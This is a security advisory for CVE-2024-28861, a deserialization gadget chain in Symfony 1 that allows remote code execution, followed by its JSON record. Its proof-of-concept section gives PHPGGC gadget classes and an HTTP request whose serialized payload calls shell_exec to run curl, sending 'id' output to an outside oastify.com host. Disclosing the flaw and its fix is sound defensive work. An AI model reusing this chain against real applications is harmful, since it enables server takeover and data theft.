ghsa-pv9j-c53q-h433
Vulnerability from github
Summary
Symfony 1 has a gadget chain due to dangerous unserialize in sfNamespacedParameterHolder class that would enable an attacker to get remote code execution if a developer unserialize user input in his project.
Details
This vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example:
php
public function executeIndex(sfWebRequest $request)
{
$a = unserialize($request->getParameter('user'));
}
We will make the assumption this is the case in the rest of this explanation.
Symfony 1 provides the class sfNamespacedParameterHolder which implements Serializable interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing unserialize() method:
php
public function unserialize($serialized)
{
$this->__unserialize(unserialize($serialized));
}
Which make an array access on the deserialized data without control on the type of the $data parameter:
php
public function __unserialize($data)
{
$this->default_namespace = $data[0];
$this->parameters = $data[1];
}
Thus, an attacker provide any object type in $data to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on $data[0] for any class implementing ArrayAccess interface. sfOutputEscaperArrayDecorator implements such interface. Here is the call made on offsetGet():
```php
public function offsetGet($offset)
{
$value = isset($this->value[$offset]) ? $this->value[$offset] : null;
return sfOutputEscaper::escape($this->escapingMethod, $value);
}
Which trigger `escape()` in `sfOutputEscaper` class with attacker controlled parameters from deserialized object with `$this->escapingMethod` and `$this->value[$offset]`:php
public static function escape($escapingMethod, $value)
{
if (null === $value)
{
return $value;
}
// Scalars are anything other than arrays, objects and resources.
if (is_scalar($value))
{
return call_user_func($escapingMethod, $value);
}
``
Which callscall_user_func` with previous attacker controlled input.
PoC
So we need the following object to trigger an OS command like shell_exec("curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)");:
php
object(sfNamespacedParameterHolder)#4 (1) {
["prop":protected]=>
object(sfOutputEscaperArrayDecorator)#3 (2) {
["value":protected]=>
array(1) {
[0]=>
string(66) "curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)"
}
["escapingMethod":protected]=>
string(10) "shell_exec"
}
}
We craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before: * gadgets.php: ```php class sfOutputEscaperArrayDecorator { protected $value;
protected $escapingMethod;
public function __construct($escapingMethod, $value) { $this->escapingMethod = $escapingMethod; $this->value = $value; } }
class sfNamespacedParameterHolder implements Serializable { protected $prop = null;
public function __construct($prop) {
$this->prop = $prop;
}
public function serialize()
{
return serialize($this->prop);
}
public function unserialize($serialized)
{
}
}
```
- chain.php: ```php namespace GadgetChain\Symfony;
class RCE16 extends \PHPGGC\GadgetChain\RCE\FunctionCall { public static $version = '1.1.0 <= 1.5.18'; public static $vector = 'Serializable'; public static $author = 'darkpills'; public static $information = '';
public function generate(array $parameters)
{
$escaper = new \sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter']));
$tableInfo = new \sfNamespacedParameterHolder($escaper);
return $tableInfo;
}
} ```
And trigger the deserialization with an HTTP request like the following on a dummy test controller:
```http POST /frontend_dev.php/test/index HTTP/1.1 Host: localhost:8001 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 532
user=C%3A27%3A%22sfNamespacedParameterHolder%22%3A183%3A%7BO%3A29%3A%22sfOutputEscaperArrayDecorator%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00value%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A66%3A%22curl+https%3A%2F%2F7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com%3Fa%3D%24%28id%29%22%3B%7Ds%3A17%3A%22%00%2A%00escapingMethod%22%3Bs%3A10%3A%22shell_exec%22%3B%7D%7D ```
Note that CVSS score is not applicable to this kind of vulnerability.
Impact
The attacker can execute any PHP command which leads to remote code execution.
Recommendation
I recommend to add a type checking before doing any processing on the unserialized input like this example: ```php public function unserialize($data) { if (is_array($data)) { $this->default_namespace = $data[0]; $this->parameters = $data[1]; } else { $this->default_namespace = null; $this->parameters = array();
// or throw an exception maybe?
}
} ```
This fix should be applied in both sfNamespacedParameterHolder and sfParameterHolder.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "friendsofsymfony1/symfony1"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.0"
},
{
"fixed": "1.5.19"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-28861"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-22T16:56:18Z",
"nvd_published_at": "2024-03-22T17:15:07Z",
"severity": "MODERATE"
},
"details": "### Summary\nSymfony 1 has a gadget chain due to dangerous unserialize in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer unserialize user input in his project.\n\n### Details\nThis vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example:\n```php\n public function executeIndex(sfWebRequest $request)\n {\n $a = unserialize($request-\u003egetParameter(\u0027user\u0027));\n }\n```\n\nWe will make the assumption this is the case in the rest of this explanation.\n\nSymfony 1 provides the class `sfNamespacedParameterHolder` which implements `Serializable` interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing `unserialize()` method:\n```php\n public function unserialize($serialized)\n {\n $this-\u003e__unserialize(unserialize($serialized));\n }\n```\n\nWhich make an array access on the deserialized data without control on the type of the `$data` parameter:\n```php\n public function __unserialize($data)\n {\n $this-\u003edefault_namespace = $data[0];\n $this-\u003eparameters = $data[1];\n }\n```\n\nThus, an attacker provide any object type in `$data` to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on `$data[0]` for any class implementing `ArrayAccess` interface. `sfOutputEscaperArrayDecorator` implements such interface. Here is the call made on `offsetGet()`:\n```php\n public function offsetGet($offset)\n {\n $value = isset($this-\u003evalue[$offset]) ? $this-\u003evalue[$offset] : null;\n\n return sfOutputEscaper::escape($this-\u003eescapingMethod, $value);\n }\n```\nWhich trigger `escape()` in `sfOutputEscaper` class with attacker controlled parameters from deserialized object with `$this-\u003eescapingMethod` and `$this-\u003evalue[$offset]`:\n```php\n public static function escape($escapingMethod, $value)\n {\n if (null === $value)\n {\n return $value;\n }\n\n // Scalars are anything other than arrays, objects and resources.\n if (is_scalar($value))\n {\n return call_user_func($escapingMethod, $value);\n }\n```\nWhich calls `call_user_func` with previous attacker controlled input.\n\n\n### PoC\n\nSo we need the following object to trigger an OS command like `shell_exec(\"curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)\");`:\n\n```php\nobject(sfNamespacedParameterHolder)#4 (1) {\n [\"prop\":protected]=\u003e\n object(sfOutputEscaperArrayDecorator)#3 (2) {\n [\"value\":protected]=\u003e\n array(1) {\n [0]=\u003e\n string(66) \"curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)\"\n }\n [\"escapingMethod\":protected]=\u003e\n string(10) \"shell_exec\"\n }\n}\n```\n\nWe craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before:\n* gadgets.php:\n```php\nclass sfOutputEscaperArrayDecorator\n{\n protected $value;\n\n protected $escapingMethod;\n\n public function __construct($escapingMethod, $value) {\n $this-\u003eescapingMethod = $escapingMethod;\n $this-\u003evalue = $value;\n }\n}\n\nclass sfNamespacedParameterHolder implements Serializable \n{\n protected $prop = null;\n\n public function __construct($prop) {\n $this-\u003eprop = $prop;\n }\n\n public function serialize()\n {\n return serialize($this-\u003eprop);\n }\n\n public function unserialize($serialized)\n {\n \n }\n}\n\n```\n\n* chain.php:\n```php\nnamespace GadgetChain\\Symfony;\n\nclass RCE16 extends \\PHPGGC\\GadgetChain\\RCE\\FunctionCall\n{\n public static $version = \u00271.1.0 \u003c= 1.5.18\u0027;\n public static $vector = \u0027Serializable\u0027;\n public static $author = \u0027darkpills\u0027;\n public static $information = \u0027\u0027;\n\n public function generate(array $parameters)\n {\n $escaper = new \\sfOutputEscaperArrayDecorator($parameters[\u0027function\u0027], array($parameters[\u0027parameter\u0027]));\n\n $tableInfo = new \\sfNamespacedParameterHolder($escaper);\n \n return $tableInfo;\n }\n}\n```\n\nAnd trigger the deserialization with an HTTP request like the following on a dummy test controller:\n\n```http\nPOST /frontend_dev.php/test/index HTTP/1.1\nHost: localhost:8001\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 532\n\nuser=C%3A27%3A%22sfNamespacedParameterHolder%22%3A183%3A%7BO%3A29%3A%22sfOutputEscaperArrayDecorator%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00value%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A66%3A%22curl+https%3A%2F%2F7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com%3Fa%3D%24%28id%29%22%3B%7Ds%3A17%3A%22%00%2A%00escapingMethod%22%3Bs%3A10%3A%22shell_exec%22%3B%7D%7D\n```\n\nNote that CVSS score is not applicable to this kind of vulnerability.\n\n### Impact\nThe attacker can execute any PHP command which leads to remote code execution.\n\n### Recommendation\nI recommend to add a type checking before doing any processing on the unserialized input like this example:\n```php\npublic function unserialize($data)\n{\n if (is_array($data)) {\n $this-\u003edefault_namespace = $data[0];\n $this-\u003eparameters = $data[1];\n } else {\n $this-\u003edefault_namespace = null;\n $this-\u003eparameters = array();\n\n // or throw an exception maybe?\n }\n}\n```\n\nThis fix should be applied in both `sfNamespacedParameterHolder` and `sfParameterHolder`.",
"id": "GHSA-pv9j-c53q-h433",
"modified": "2024-07-25T13:36:28Z",
"published": "2024-03-22T16:56:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FriendsOfSymfony1/symfony1/security/advisories/GHSA-pv9j-c53q-h433"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/friendsofsymfony1/symfony1/CVE-2024-28861.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/FriendsOfSymfony1/symfony1"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.